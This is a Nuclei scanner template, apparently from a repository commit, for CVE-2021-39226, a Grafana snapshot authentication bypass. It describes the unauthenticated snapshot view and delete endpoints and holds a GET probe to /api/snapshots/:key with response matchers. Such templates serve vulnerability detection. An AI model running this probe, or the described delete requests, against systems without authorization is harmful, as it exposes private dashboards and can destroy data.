CVE-2021-39226 (#3241)
* Added CVE-39226 Co-Authored-By: Evan Rubinstein <70485623+evanRubinsteinIT@users.noreply.github.com> Co-authored-by: Evan Rubinstein <70485623+evanRubinsteinIT@users.noreply.github.com>patch-1
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id: CVE-2021-39226
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info:
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name: Grafana Snapshot authentication bypass
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author: Evan Rubinstein
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description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accesing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accesing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can delete snapshots by accesing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snappshot/:key, regardless of wether or not the snapshot is set to public mode (disabled by default). Make sure you obtain permission before testing the delete functionality, as this can cause a denial of service. As always, ensure that you test your results manually to ensure your findings are good. Happy Hunting!
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reference:
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- https://github.com/advisories/GHSA-69j6-29vr-p3j9
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- https://nvd.nist.gov/vuln/detail/CVE-2021-39226
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severity: critical
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tags: cve,cve2021,grafana
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2021-39226
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cwe-id: CWE-200
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/api/snapshots/:key"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- '"isSnapshot":true'
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